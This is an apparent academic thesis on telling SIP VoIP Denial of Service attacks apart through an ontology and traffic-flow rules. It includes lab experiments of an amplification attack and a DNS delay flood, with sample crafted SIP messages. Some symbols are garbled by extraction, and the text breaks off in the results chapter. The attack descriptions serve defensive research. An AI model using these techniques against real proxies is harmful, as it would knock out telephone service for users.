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Abstract

Traditional public switched telephone networks (PSTN) are replaced more and more by

VoIP services these days. Although it is good for saving costs, the disadvantage of this

development is that VoIP networks are less secure than the traditional way of transmitting

voice. Because VoIP networks are being deployed in open environments and rely on other

network services, the VoIP service itself becomes vulnerable to potential attacks against

its infrastructure or other services it relies on.

This thesis will present a discussion of security issues of the Session Initiation Protocol

(SIP), the signalling protocol for VoIP services. The main focus is on active attacks against

the protocol that aim to reduce the service’s availability – so called Denial of Service (DoS)

attacks.

Existing countermeasures and detection schemes do not adequately differentiate be-

tween DoS attacks. However, the differentiation is important with respect to performance

loss, as various protection schemes involve more computationally intensive processes.

Based on that discussion, this thesis attempts to provide an ontological approach to

describing, and eventually preventing attacks from having their intended effects.
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Chapter 1

Introduction

Telecommunications are one of the most important accomplishments of modern technology.

For more than one hundred years voice calls have been transmitted by Public Switched

Telephone Networks (PSTNs) [1] – robust systems relying on closed, managed networks.

This made them resistant to external attack, but vulnerable to failure, and requiring it’s

own private physical infrastructure.

With the development of packet switched networks, the want for transmitting voice

using IP networks (Voice over IP - VoIP) [2] has increased dramatically. More flexibility,

reliability, and lower costs support this development. Access to an IP network such as the

Internet is easy to come by, making VoIP vulnerable to all types of attacks against these

networks. Major breakdowns of telecommunication cannot be accepted, necessitating the

need of security measures.

VoIP communication bands consist of two parts: signaling messages and voice messages.

Signaling messages establish, modify, and terminate sessions, and the protection of this

process is closely connected to maintaining the availability, integrity, and confidentiality

of VoIP communications [3]. Securing multimedia communication between endpoints is

another important topic which also includes the protection of availability, integrity, and

confidentiality of multimedia messages.
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2 CHAPTER 1. INTRODUCTION

The focus of this thesis is only on security issues of the Session Initiation Protocol (SIP)

[4], the signaling protocol for VoIP. We therefore deal with its vulnerabilities. However,

unlike many other papers we do not try to improve SIP itself by implementing mechanisms

to mitigate its vulnerabilities, instead we chose another approach to secure SIP VoIP

services: The detection of external attacks against the SIP service side.

Of course, detection only for itself cannot provide protection. However, since there are

many papers about possible countermeasures [3, 5, 6] once a system has become aware

of an ongoing attacHowever, sincek the more important issue seems to be the automatic

detection of those attacks.

Specifically one group of attacks causes problems: Denial of Service attacks (DoS) [7].

Those attacks are directed against the service side and aim to bring down SIP servers

which form the core of every SIP VoIP network by depleting their resources.

Today there are numerous Intrusion Detection Systems (IDS) [8] in use whose task it

is to detect attacks. Although they succeed in the detection of DoS attacks in general they

fail to distinguish between the numerous variations thereof. Active countermeasures for

all kinds of DoS attacks can lead to unnecessarily increased processing time or memory

consumption. We need a proper detection mechanism to prevent this overhead.

The objective of this thesis is to explore a more general approach for attack detection

and differentiation: An ontology [9] which will provide a formal description of several DoS

attacks and which will be accompanied by a First Order Logic [10] to infer from given

observations that a certain attack has occurred.

This thesis is divided into several sections: Chapter 2 will present basic background

knowledge about SIP itself and about the concept of ontologies. Chapter 3 will go into

more detail concerning Denial of Service attacks, their similarities and differences, and

introduce a paper about ontologies and their use for detecting one certain kind of DoS

attack. Chapter 4 will present our proposed ontology and its first order logic. This is

followed by chapter 5 introducing two experiments we ran regarding traffic analysis to
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prove our theory and ontology. Their results will be given in chapter 6. The thesis will

then be concluded with chapter 7 providing a summary of this thesis and explore possible

future work.





Chapter 2

Background

2.1 Introduction

To provide a general understanding of how the Session Initiation Protocol works, the next

section of this chapter will give a short introduction of SIP’s functionality and problems.

The third section will shortly introduce ontologies as a means to help protecting SIP against

certain threats. A short summary will be given in the last section of this chapter.

2.2 SIP - Session Initiation Protocol

2.2.1 Overview

The Session Initiation Protocol (SIP) is a protocol that establishes, modifies, and termi-

nates VoIP sessions. It is based upon HTTP [11] and supports both TCP and UDP. In

contrast to many other network protocols, SIP is not binary, but text based and therefore

easily readable. Since SIP uses the Session Description Protocol (SDP) to describe sessions

it is completely independent of a session’s content.

SIP uses and relies on existing network infrastructures, and does not require its own

5



6 CHAPTER 2. BACKGROUND

transport medium. All SIP components can be separated into - what we call - external

and internal resources where internal resources are new network components introduced

by SIP, and external resources contain foreign services used by SIP.

To establish a SIP session a user agent (UA) triggers requests based on users’ actions

and provides an interface towards a user. The request is sent to a proxy server which

processes the request and forwards it to the recipient specified in the request. This can be

another user agent or, if the recipient is located in another domain, another proxy. User

agents and proxy servers interact in a client-server relationship which is inherited from

HTTP. Registrar servers enable users to log in to a service domain and provide addresses

to location servers. Proxies use this service to look up user addresses and alternative

contact details.

External resources such as DNS servers and Web servers are needed for this process.

They provide address resolution and certificates to authenticate and verify users and do-

mains.

SIP is not a transport protocol.

2.2.2 Session Initiation

As mentioned before SIP is based on the HTTP protocol which provides several requests

and response groups. In SIP there exist 6 basic requests, called methods, which are defined

in RFC 3261 [4]: INVITE, ACK, CANCEL, BYE, REGISTER, and OPTIONS. These

requests and associated responses are mandatory, and must all be implemented to ensure

the correct functionality of SIP communications.

The corresponding responses are divided into 6 response groups (table 2.1).

Each group provides a number of possible responses but few of them are already in

use. HTTP and SIP share some response codes, others are only introduced by SIP. The

protocols have been designed to be extensible, and keep much space available for custom

codes or new ones as the protocol changes.
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Range Response group
1xx Provisional
2xx Success
3xx Redirection
4xx Client Error
5xx Server Error
6xx Global Failure

Table 2.1: Response code groups specified in [4]

To establish a SIP session a three-way-handshake has to be performed between the

client, the client’s proxy server, and the destination proxy server. This is initiated by a

UA sending an INVITE request. When a proxy receives this request method it forwards

the request to the recipient of this message or to another proxy if the recipient is located

in another domain. When the forwarding is finished the proxy may send a provisional

response such as 100 Trying or 180 Ringing. Provisional responses are optional and SIP

does not guarantee that provisonal responses are transmitted successfully. If the recipient

of the INVITE request accepts the invitation to a session it sends a 200 OK response back

to its proxy which forwards the message to the caller. To establish the session the caller

needs to acknowledge the response by sending an ACK request back to the recipient. As

soon as the invited UA receives the ACK, the session is established (figure 2.1).

A CANCEL request is sent to abort the establishment of a session. This is only possible

as long as no 200 OK response has been received. A CANCEL request is answered by a

200 OK response. To terminate an already established session a user agent needs to send

a BYE request. This is also answered by a 200 OK response. The 200 OK response is

not necessary to terminate an ongoing call or to abort the calling process. As soon as the

CANCEL or BYE request is sent the session is over.

REGISTER requests are sent by a UA to registrar servers. A REGISTER request con-

tains the name of the user and the domain where the user is registered. Further contact

information, such as alternative addresses (SIP URIs, e-mail addresses), can be included
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Figure 2.1: Session Establishment

in this request. The server responds again with 200 OK if the registration process was

successful or negative response code if the registration could not be fulfilled successfully.

Possible reasons for negative responses could be missing authentication data or a tem-

porarily unavailable server.

OPTIONS requests are answered by 200 OK responses that contain information about

methods supported by the server. SIP is easily extensible by implementing new methods

and defining new response codes. Since not all response codes are in use, the definition of

new responses is not a problem. The new methods should be added to the response to an

OPTIONS request to let other proxies or UAs know what methods are supported.
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2.2.3 Address and Message Format

For SIP users to be reachable by others a registration is required. After registering at

a certain domain every user obtains a SIP URI (Uniform Resource Identifier) [4]. This

is a universal identifier for a single user. The identifier stores the domain and optional

additional contact information of the registered user. All SIP URIs have to follow the

same format which is based on e-mail addresses (figure 2.2).

sip:userA@registered-domain-name

Figure 2.2: SIP URI Format

INVITE sip:happy@193.11.155.123 SIP/2.0

Via: SIP/2.0/UDP 193.11.155.93:5063

To: happy <sip:happy@193.11.155.123>

From: dopey <sip:dopey@193.11.155.93>

Contact: <sip:dopey@193.11.155.93:5061>

Call-ID: 1-3207@127.0.1.1

CSeq: 1 INVITE

Max-Forwards: 70

optional message body

(a) SIP Request Message

SIP/2.0 200 OK

Via: SIP/2.0/UDP 193.11.155.93;

SIP/2.0/UDP 127.0.1.1:5061

From: snowwhite <sip:snowwhite@193.11.155.93:5061>

To: sut <sip:princecharming@193.11.155.123:5060>

Call-ID: 785-3206@127.0.1.1

CSeq: 2 INVITE

Contact: <sip:127.0.1.1:5061;transport=UDP>

optional message body

(b) SIP Response Message

Figure 2.3: SIP message formats

SIP messages, whether request or response, also share a common format. They only

differ in the first line as shown in figure 2.3. For a request message the first line consists

of the method, the request URI, and the protocol version of SIP (currently SIP/2.0 ). The

first line for a response message contains the protocol version, status code, and reasoning

phrase. A reasoning phrase is not needed for processing the message, but merely meant to

be human readable.

The next lines in a SIP message contain several header fields such as Via, From, To,

Contact, CSeq, Max-Forward, and Expires. Not all headers are needed for every method

or response. For example, the Expires header is only needed for REGISTER requests to

specify how long the given contact information will be valid. On the other hand, the Via

header is needed to provide routing information.



10 CHAPTER 2. BACKGROUND

Headers are followed by a blank line and an optional message body which contains a

session description.

2.2.4 Problems

SIP works in a packet switched network where Denial of Service (DoS) attacks are a

common threat. They can reduce the availability of a service or shut it down completely.

In the context of VoIP, SIP is required to be available at all times. Major downtime cannot

be accepted. It is therefore important to protect SIP against these threats.

As mentioned in section 2.2.1 SIP relies on external resources to function, and thus

is vulnerable to Denial of Service (DoS) attacks. Since most implementations of VoIP

communcations rely on SIP for session control, VoIP communications can be compromised

by attacking SIP.

Another objective is the differentiation of the various attacks, as countermeasures can

be introduced specifically against them. This problem will be discussed further in chapter

3.

2.3 Ontologies

Distinguishing between various attacks against a system is the first step to help protecting

it. This knowledge is needed to take countermeasures. To detect ongoing DoS attacks is

easy, but distinguishing between different types is difficult since many research papers are

about the detection mechanisms rather than the proposal of a DoS taxonomy which would

classify different DoS attacks and their characteristics.

Ontology based traffic analysis could be the instrument to solve this problem.

An ontology is a common means for knowledge representation and knowledge sharing

in computer science. It is a formal description of concepts within a specific domain and

relationships between those concepts [12].
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In the area of Intrusion Detection Systems (IDSs), ontologies could be applied to help

in the detection of attacks. A common IDS acts based on rules. These rules specify

what malformed packets look like based on a packet’s signature. This approach is easy to

implement but not the most effective. Such an IDS cannot recognize malformed packets

on its own. New rules need to be added for every packet that does not follow certain

definitions or semantics. This way the system cannot be protected from new attacks until

signatures can be generated. The goal is to detect malformed packets before they can do

any harm. That is why ontologies are introduced here.

An ontology in this context formally describes legal packets as well as rules for detecting

abnormal traffic and threat management. The first phase of such an IDS would classify

packets as malformed if they differ from a described grammar and inserts them into a

database for further inspection. The next phase checks whether the stored samples in

that database infer the existence of an ongoing attack, which is then followed by applying

certain countermeasures according to the rules for threat management [13].

Creating such an ontology is difficult. The decision as to whether packets are malformed

or not is not easy to make, especially when syntax and semantics are not sufficient to

describe legal behaviour.

Ontologies and ontology-based approaches will be explored in further detail in chapter

3.

2.4 Summary

SIP, which is a signaling protocol for VoIP sessions, is responsible for establishing, mod-

ifying, and terminating sessions. This is achieved by exchanging request and response

messages that are based on the HTTP client-server model. All messages are text based

and must follow a certain message format and use SIP URIs which identify users and

are connected to user data stored on registrar servers. Proxy servers as well as external
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resources help in the process of distributing messages.

Because SIP works in a packet switched network, and due to the fact that external

resources cannot be controlled or protected by SIP, the whole signaling process becomes

vulnerable to various DoS attacks. It is therefore important to detect these attacks before

they can cause serious harm. Characteristics of different DoS attacks need to be explored

to accomplish detection and to help in choosing adequate countermeasures.

Ontologies are meant to help detect attacks and to allow a system to react based on

their characteristics.



Chapter 3

Related Work

3.1 Introduction

Denial of Service attacks have already been introduced in the previous chapter as well as

the basic concept of an ontology. This chapter will give a more detailed overview of several

types of DoS attacks. Section 3.3 will present a paper that focuses on the detection of

malicious SIP messages based on ontologies. A short summary will conclude the chapter.

3.2 Denial of Service Attacks

Types of Denial of Service attacks are numerous. Without closer examination they look

very similar to each other because their goal is always the same: To deplete a proxy’s

resources such as memory, computing power and/or bandwidth and, as a consequence, to

keep it from processing legitimate messages.

Here we present the five major types of DoS attcks to create awareness for the - some-

times small - differences between those attacks.

13
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1. DNS Delay Flooding Attack

A DNS Delay Flooding Attack works by sending requests with addresses that are

hard to resolve. In this type of scenario, we assume that the attacker knows hard-to-

resolve domains or is in control of one of the higher levels of the resolvable domain.

For example, an attacker could send an INVITE request with the recipient being

sip:eve@a.b.c.d.eve. If they are in control of any of the DNS servers along

that resolution chain, they could delay requests, effectively blocking any resources

occupied by the running proxy thread for a period of time. Also, any subsequent

requests to the same DNS server (i.e. sip:fay@e.f.g.h.eve) would also be delayed,

making caching irrelevant.

Existing Countermeasures: An existing approach is to use asynchronous process-

ing, in which the SIP proxy does not wait for a DNS response but instead continues

parsing other requests until a response for the original request is received.

However, this added complexity to the existing SIP Proxy resolution engine is vulner-

able to memory deprivation attacks. This can be seen in [14] where a Non-Blocking

Cache is introduced to avoid this problem.

The cache is designed in a way that only successfully resolved addresses are cached.

To make sure the server is still working under attack of a DNS flood a blocking

threshold has to be defined. If this threshold is exceeded only requests containing

already cached addresses will be processed. The threshold is a system dependent

parameter, for example a certain amount of memory consumption.

2. Web Delay Flooding Attack

A Web Delay Flooding Attack is very similar to the DNS Flooding attack, only

instead of using slow DNS resolution to delay message processing, we exploit slow

download times for key certificates.

Those certificates are needed to authenticate messages from other domains. They
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provide the public key for a SIP message formerly signed with the private key of

the foreign domain’s proxy. A message can only be processed further if it is verified

successfully otherwise it will be discarded. The decision cannot be made without

downloading a certificate.

An attacker could therefore host his own server and delay the download process or

- even easier - generate messages that pretend to be from a hard-to-connect domain.

In the latter case the verification will eventually result in a negative response and

the message is discarded but the damage is already done.

Existing Countermeasures: Similar to the DNS Delay Flood attack a cache can

be implemented to store key certificates. Because the certificate provides the public

key of another domain’s proxy there is no need to download it more than once. The

same rules as for the DNS cache apply here: Only if a message has been verified

successfully the certificate is cached [15].

3. Amplification Attack

An Amplification attack relies on the forking structure of the Contact header of the

SIP registration requests, and the fact that addresses are not resolved until a request

is made on them. One registration packet could have contact fields directed towards

other servers, which in turn, have registered contacts at more servers. This continues

until a cycle is created. Thereafter, one INVITE request can cause a chain of INVITE

request to be created by the server, which each cause a chain of INVITE requests

to be generated at the next servers, eventually leading back to an INVITE to the

original server, which continues the process.

Existing Countermeasures: Each SIP packet has a default Max-Forward Header

value of 70, which was designed to prevent a message from being relayed forever.

When an incoming request packet is recieved, if the Max-Forwards field is greater

than the maximum allowed, it is set back down to the specified maximum value,
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otherwise it is decremented. At zero, the packet is discarded. Still, with a Max-

Forward count of 70, requests with two forked addresses could create up to 271 − 1

request packets.

Another method is to do cyclic detection on routing by the use of Via headers. If the

server sees its own address in the headers, it will respond with a status code of 482

loop detected [6]. This, however, relies on the servers not modifying routing data.

4. Invite Flood

An Invite Flood is an attack which requests and allocates resources for a call which

never happens. It looks entirely like a legitmate conversation request. This is more

similar to the traditional Denial of Service attack in that a storm of legal requests

deny service for other legal requests.

Existing Countermeasures: Blacklists of originating source addresses could be

used. But Distributed Denial of Service attacks, address anonymizers, and packet

spoofing make blacklists nearly useless.

5. Malformed Message

A Malformed Message Attack is a Denial of Service attack in which the server is

bombarded with bogus data. Mangled packets containing misaligned data, false

information, or fake ordering sequence numbers wreak havoc on the client proxy,

confusing the system. Malformed packets may be such things as INVITEs with no

recipients, hang-up requests on non-existant calls, or even pure noise. This type of

attack can have a varied effect on the system, from consuming resources to an outright

system crash. Other malformed messages might contain SQL injections which either

aim to discover information which is otherwise hidden from external access or to

destroy or alter certain information, for example dropping tables of user data which

would lead to unknown users in that domain or changed users’ contact details.
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Existing Countermeasures: Blacklists and robust interpreters. Modern firewalls

can filter out packets which are completely nonsensical, but legitimate looking, yet

invalid packets will still get through. An approach against this attack is described in

section 3.3.

The current attack detection methods fall short because they only look at incoming

traffic from client to server. Without deep packet inspection, these attacks would all look

the same, and deep packet inspection, in addition to violating numerous privacy laws,

would still not be able to differentiate legitimate traffic from a DNS Flood or Web Delay

attack.

3.3 An Ontology for Malformed Message Detection

One approach to protect a SIP network from malformed messages is given by D. Geneiatakis

et al. in [12]. This paper introduces an ontology for illegitimate SIP message detection.

This ontology is composed of two sub-ontologies: SIP message and SIP attack.

Whereas the SIP message sub-ontology describes what a legitimate SIP message should

look like according to RFC3261 [4], the SIP attack sub-ontology uses SIP messages to

describe three attack categories: signaling, malformed and flood.

An ontology for a SIP message defines all parts of a SIP message which includes First-

Line, Headers, and whether it has been authenticated or not. A request message policy,

for example, needs to specify all needed parameters for a request message, such as method

and required headers. All possible exceptions compared to other request messages must

be described explicitly in the corresponding policy.

To detect malicious messages on a running system the ontologies need to be imple-

mented in a formal way. The paper provides two different approaches: The DARPA Agent

Markup Language [16] (DAML) notation and a First Order Logic (FOL) notation. The

FOL notation is considered to be the more universal approach since not all intrusion de-



18 CHAPTER 3. RELATED WORK

tection systems understand DAML.

The first step to detect malicious messages is to check the message’s grammar, beginning

with the first line. If there are errors encountered the message will be discarded and not

processed any further. All messages that violate the described grammar are considered to

be malformed. If the message is syntactically correct it could still be an attack message.

Requests to terminate sessions have to be authenticated otherwise any user could terminate

sessions on behalf of legal users which is considered to be a signaling attack. On the other

hand we detect a flooding attack if the number of messages originating from a distinct

source exceeds a certain threshold. All those attributes need to be defined in the ontology

to enable an IDS to work with those parameters.

This way the ontologies provide a single formal description of legitimate packets. It

renders the need for more and more rules unnecessary and keeps the whole system small

and maintainable.

3.4 Summary

DoS attacks are still not easy to distinguish although several differences have been explored

in section 3.2. Common intrusion detection systems detect ongoing DoS attacks but not

the specific kind of such an attack. Even the presented paper cannot entirely solve this

problem. It provides the means to classify all SIP message related attacks into three distinct

categories: signaling, malformed and flood. However, this classification is not sufficient.

It cannot, for example, distinguish a DNS Delay Flood from a Web Delay Flood. On

the other hand, this paper provides basic understanding of how ontologies might help us

describing legal SIP traffic.

Based on this paper’s ideas we try to provide an ontology for attack distinction by

analyzing SIP traffic at the service side. A general analysis, such as request vs. response

count between several components of the SIP network, is meant to avoid deep packet



3.4. SUMMARY 19

inspection.





Chapter 4

Proposing a SIP DoS Detection

Ontology

4.1 Introduction

Having introduced the necessary background knowledge, we will now introduce our pro-

posed ontology in this chapter. First we need to define our assumed threat model to reveal

what our ontology takes into consideration and what is left out. We will then describe our

ontological entities and their relationships in section 4.2 before defining an accompanying

first order logic in section 4.4. This chapter too shall be concluded with a short summary.

4.2 Threat Model

Before proposing a DoS detection ontology we need to make some assumptions about what

an attacker can and cannot do. In the scope of our considerations, the easiest way for an

attacker to have an influence on the network is by forging his own SIP messages. They

can be created manually and then sent by using a SIP user-agent client tool such as SIPp

[17]. This tool allows for all kinds of messages to be forged: malformed messages, message

21
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floods, or even legal messages.

An attacker would also have the possibility to set up his own SIP components such as

DNS servers, web servers to store fake authentication certificates, or even a SIP proxy and

registrar servers. By sending additional well-crafted SIP messages to a victim proxy, the

attacker can have their proxy try to connect to SIP components in foreign architectures.

The addresses of other SIP domains can easily be specified within a malicious SIP message

as well as the address of certain Web servers by specifying the domain of a fake user in

that malicious message.

It would be far more difficult for an attacker to make a victim proxy use a certain

DNS server for all address resolutions. Assuming that the victim proxy has no protection

mechanisms against malformed messages at all, it would be possible to craft a malformed

message that contains executable code which is meant to change a proxy’s configuration

file(s). In this case the file specifying which DNS server to use. The victim proxy could

then be rendered useless because of missing data on the DNS server. This way the attacker

has quite a big influence on the whole SIP network even if there was no way to access the

victim proxy directly.

For this thesis and the scope of our proposed ontology and described attacks we assume

that an attacker has no other means to influence the message flow within the network

than by sending crafted messages to the victim proxy. Direct access to that proxy is not

possible because of security precautions like authentication by username and password and

subnetting.

4.3 Ontology

We will now describe our proposal for a SIP DoS detection ontology as shown in figure 4.1:
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Figure 4.1: SIP DoS Detection Ontology
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All SIP attacks are considered to be attacks on VoIP because SIP is a key VoIP compo-

nent. We must therefore define a VoIP attack first. Any of the Denial of Service attacks we

previously described could be tailored specifically as kind of a VoIP attack. Those attacks

are run against a specific target at a certain point of time, occupying resources, reducing

functionality, and affecting the network flow as a consequence.

The targets of these attacks are SIP VoIP server components. An individual user agent

is far less threatened by a DoS attack than other components. This is why we do not

consider a user agent to be targeted by a DoS attack. Those VoIP servers in turn are

SIP proxies and registrars (SIP servers), DNS servers, Web servers and AAA servers that

handle user access, authentication and authorization. We have not mentioned AAA servers

earlier in this thesis because they had no part in the attacks we described. We called those

last 3 categories of SIP components external resources before because they are outside

of SIPs field of control. All VoIP components need to communicate with each other to

maintain a functional VoIP service.

Regarding resources of VoIP components, there are 3 kinds of resources that can be

occupied by an ongoing attack: a server’s CPU, memory or bandwidth.

The network flow of VoIP is affected as a consequence of the attack. Depending on

the specific DoS attack this applies either to SIP flow itself or DNS or HTTP flows. The

Amplification attack for instance affects SIP flow because the number of legitimate looking

SIP messages between SIP servers is suddenly and massively increased. DNS or HTTP

flow can be influenced for example by delaying responses to those requests.

Network flow itself on the other hand is just an aggregate of its basic networking data

which in turn can be split into several distinct categories: SIP data, DNS data and HTTP

data, all consisting of requests and responses whereas responses can be separated into

positive and negative ones.

However, an ontology for itself is not sufficient. A SIP traffic ontology merely describes

components and attributes of traffic and the relationships between those parts. To enable
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an IDS to understand and act based on this very abstract concept other, more formal,

means of description are needed. A first order logic, as given in the following section, will

support the ontology and provide some simple rules for the detection and differentiation

between several attacks.

4.4 First Order Logic

Monitoring network traffic for the purposes of attack detection requires us to examine

traffic in terms of flow and trend, rather than destination and content.

Figure 4.2: SIP Proxy Intercommunication channels
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Let us now define our logical notation for use in this chapter by using our User Agent

component as an example. Requests generated by our User Agent would be defined as A.

Responses to these requests would be Ā. Requests received by User Agent would be A’

and responses to these requests would be Ā′. Standard traffic flow would be represented

by the greek equivalent α. These measurements are taken by sampling traffic coming in

and going out from the SIP Proxy Server.

These metrics would measure an average aggregate rather than specific flow, allowing

us to compare our samples against expected values. We could, for example, compare Ā

with ᾱ and, depending on the difference, determine that nonstandard behaviour is in effect.

Figure 4.2 is showing and naming all SIP network components we took into account

for our traffic analysis and ontology.

The goal of a Denial of Service (DoS) attack is to get the server so occupied on one

task that it fails to deliver and provide service for the normal use cases. Defined in our

notation, the goal and consequence of all DoS attacks would be A >> Ā.

1. Invite Flood

• A > D′

• B ≈ β

• C ≈ γ

• D ≈ δ

There will not be the inter-proxy traffic to match the incoming traffic. Until the

server buckles under the attack, normal traffic will continue.

2. Malformed Message Flood

• A > D′

• B 6 ≈β
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• C 6 ≈γ

• D 6 ≈δ

Malformed message attack detection is a particularly difficult problem. While the

majority of malformed packets will be stopped by a firewall, without deep packet

inspection we would be unable to differentiate well-crafted malicious messages from

legitimate ones. Our ontology demonstrates a rise in incoming packets, and a decline

across other component traffic. Messages may be valid enough to get to the proxy

server and no further, or continue to other devices, or be stopped cold by the firewall.

3. Amplification Attack

• D > A

• A < α

• D′ >= Dk, k > 1

An amplification attack relies on proxy servers flooding each other, exponentially

spawning off more requests to other proxies.

4. DNS Delay Flood

• C ′ 6 ≈γ′

• C ′
σ >> γσ

• C ′
µ ≈ γµ

• C ′
∆t >> γ∆t

When our proxy gets occupied with delayed DNS requests, we build a queue of

backlogged domains to finish resolving. Depending on the current load of the DNS

resolution server our average (µ) will change, but our standard deviation (σ) of

response times (∆t - from initial request to response) will be large as a consequence

of hard to resolve domain names. Other traffic remains victim to the core DoS effects.
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5. Web Delay Flood

• B′ 6 ≈β′

• B′
σ >> βσ

• B′
µ ≈ βµ

• B′
∆t >> β∆t

We see a long delay in the time it takes for a key certificate to download. ∆t in this

case represents the time between the initial download request, and the receipt of a

completed key certificate. Additional traffic is unaffected.

4.5 Summary

The use of aggregate functions to monitor traffic flow presents an ideal method of ana-

lyzing traffic without performing random samplings. With the exception of INVITE and

malformed message floods, each type attack has a unique signature and can be identified

quickly. This could help in the rapid deployment of protective measures.



Chapter 5

Experiments

5.1 Introduction

Creating a SIP attack detection ontology without further proof is useless. This is why we

ran some experiments to analyze their typical traffic patterns and to prove our thoughts.

At first we will present our thoughts about the traffic analysis and what we want to observe

in general in section 5.2. This will be followed by presenting two experiments we ran: an

Amplification Attack and a DNS Delay Flooding Attack (sections 5.3 and 5.4). The chapter

will be concluded with a short summary.

5.2 Ontology Guided Traffic Analysis

The idea of an ontology guided traffic analysis is to find characteristic patterns in traffic

behaviour instead of using deep packet inspection which is both time and resource con-

suming. Therefore all incoming and outgoing SIP traffic that is received or sent by a SIP

proxy needs to be observed carefully. We do not care about single messages but about

traffic in general, packet counts and possible delay times between receiving and forwarding

messages.
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This way, and in comparison to legal traffic behaviour, we hope to determine the char-

acteristics that allow a differentiation between various attack types. Those characteristics

should ideally be the same as postulated in the previous chapter.

5.3 Experiment 1: Amplification Attack

5.3.1 Scope of Attack

The Amplification Attack demonstrates a proof-of-concept vulnerability in the forking

structure of REGISTER packets. Server Mine has two malicious registrations; Sneezy and

Dopey. Sneezy is registered as Happy@Forest, and Grumpy@Forest. Server Forest has both

of these addresses registered with the contact information {Sneezy@Mine,Dopey@Mine}.

Doc sends an INVITE request to Happy, which resolves to {Sneezy,Dopey}, which further

resolves to {{Happy,Grumpy},{Happy.Grumpy}}, and so forth.

The goal of this attack is to render a SIP proxy inoperable for as long as possible. This

is done by sending a single INVITE request to one of the maliciously registrated users

which leads to massive forking of this message and occupies the proxy’s resources. The

session will never be established, instead the massive number of INVITE requests should

eventually time out. During the attack we monitor all incoming and outgoing SIP traffic

of the proxy under attack to analyze its characteristics.

5.3.2 Testbed Setup

Our testbed is configured to run the attack against a dedicated SIP proxy and to collect

data that shows the effectiveness of the attack. It consists of following components (see

also figure 5.1):

• Two SIP proxies, one is called victim, which will be under attack of the Amplification

attack (server Mine).
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• Two UAs that represent legal traffic. They are used to simulate legal SIP traffic by

establishing and terminating sessions between each other: princecharming@Forest

and snowwhite@Mine.

• Malicious registration requests as listed in appendix A, section A.1.

• An attacking user agent. This user agent will send a single INVITE request to our

victim proxy and start the attack this way.

Figure 5.1: Testbed for the Amplification attack

Software. UAs are implemented using SIPp [17] version 3.1, an open source tool that

generates SIP traffic. The SIP proxies are implemented using SER [18] version 2.0, and

traffic monitoring and logging is done with Wireshark [19] version 1.3.2.

Hardware. SIP proxies and UAs are established on two Pentium 4 machine (2.4 GHz

and 1.8 GHz) with 512 MB RAM each, running the Ubuntu Linux operating system with

fast Internet access (100 MBit/s).
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Legal user behaviour. Before we began our attack legal communication between

princecharming and snowwhite was established by opening 50 calls per second. Each call

lasted only fractions of a second before it was terminated again. After setting up this

baseline for measuring the effect of our attack we set up all four malicious registrations.

After 10 seconds of legal communication we sent a single INVITE request - having its

Max-Forwards header set to 10 - to happy@Forest . All incoming and outgoing traffic at

the victim proxy was monitored and logged.

5.4 Experiment 2: DNS Delay Flooding Attack

5.4.1 Scope of Attack

The DNS Delay Flooding Attack demonstrates the exploitation of external processing, in

this case DNS resolution on a remote DNS server, which cannot be controlled by the service

side.

The goal of this attack is to render a SIP proxy inoperable for as long as possible. This

is achieved by sending SIP messages that contain hard-to-resolve domain names.

OPTIONS sip:sip.hard2resolve SIP/2.0

Via: SIP/2.0/[transport] 193.11.155.93:5062

From: sipp <sip:@193.11.155.93:5062>

To: sut <sip:sip.hard2resolve>

Call-ID: 1-12345

CSeq: 1 OPTIONS

Contact: <sip:sipp@193.11.155.93:5062>

Max-Forwards: 70

Accept: application/sdp

Content-Length: 0

Figure 5.2: example attack message

To route a message to its destination the URI has to be resolved into a valid IP address

which is time consuming. For this attack we created SIP messages (figure 5.2) that contain
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the domain name hard2resolve. The response to these DNS requests will be delayed due

to DNS configuration, all other domain names will be resolved regularly.

During the attack we monitor all incoming and outgoing SIP and DNS traffic of the

proxy under attack to analyze its characteristics.

5.4.2 Testbed Setup

Our testbed is configured to run the attack against a dedicated SIP proxy and to collect

data that shows the effectiveness of the attack. It consists of following components (see

also figure 5.3):

• A SIP proxy which will be under attack of the DNS delay flood. It is further referred

to as victim and acts as an outbound SIP proxy which means that all messages from

a caller in the proxy’s domain have to go through this proxy.

• A local DNS server which is configured to delay domains that end with hard2resolve

for 5 seconds. The proxy is configured to use this DNS server for DNS requests.

• A user agent that represents legal traffic. It is used to simulate legal SIP traffic by

generating and sending OPTIONS requests to remote SIP servers.

• 35 external SIP servers, all located at a different domain. These servers will receive

our generated OPTIONS requests and respond to them.

• An attacking user agent. This user agent will also send OPTIONS requests but to a

hard2resolve domain. The responses to those requests will be delayed for 5 seconds

by our DNS server to simulate real hard-to-resolve domains. The attack frequency

of those messages can be adjusted accordingly.

Software. Both legal attacking UAs are implemented using SIPp [17] version 3.1, an

open source tool that allows to generate SIP traffic. The SIP proxy is implemented using
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Figure 5.3: Testbed for the DNS Delay Flooding attack

SER [18] version 0.9.6 and our local DNS server is realized by using DNSd [20]. Traffic

monitoring and logging is done with Wireshark [19] version 1.3.2.

Hardware. DNS server, SIP proxy and attacking UA are established on a Pentium 4

machine (2.4 GHz) with 512 MB RAM running the Linux Ubuntu operationg system with

fast Internet access (100 MBit/s). The legal UA are running on a similar machine with

only 1.8 GHz.

Legal user behaviour. We made the legal UA send 50 OPTIONS request messages

per second to our remote SIP servers. This number of messages proved to establish stable

traffic on our proxy. We ran the attack three times using a different attacking rate each

time. We allowed ten seconds of legal traffic before initializing each attack at 1, 3, and 5

calls per second. All incoming and outgoing traffic at the victim proxy was monitored and

logged.
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5.5 Summary

Both experiments were done to show the basic idea of our ontology guided traffic analysis.

Of course they cannot be sufficient for creating an ontology that considers all possible

traffic patterns. Nevertheless, we provided an ontology for all five DoS types in chapter 4

as they have been described previously.





Chapter 6

Results

6.1 Introduction

After having run the experiments we described in the previous chapter, we will present our

results in section 6.2 before we give a short evaluation of or findings and summarize this

chapter in section 6.3.

6.2 Experiment Results

To see whether our theoretical considerations regarding traffic patterns and their charac-

teristics in chapter 4 were right we need to compare the observed traffic patterns of the

two experiments we ran.

The first step is to show whether we actually created a Denial of Service attack. As

described earlier such an attack’s goal is to deplete a proxy’s resources. This way not all

legitimate messages can be processed which results in fewer responses compared to the

amount of legitimate requests. However, this characteristic only implies the existence of

a DoS attack if the amount of requests does not exceed the proxy’s capacity. Otherwise

this attack exploits a proxy’s weak hardware and not certain vulnerabilities of a targeted
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protocol.

Figure 6.1: Amplification Attack - requests vs. responses

Both experiments were successful in this case. Figures 6.1 and 6.2 show our Amplifi-

cation and DNS Delay Flooding Attack respectively. Graph base represents legal traffic

without ongoing attacks and graph DoS attack illustrates the amount of requests and re-

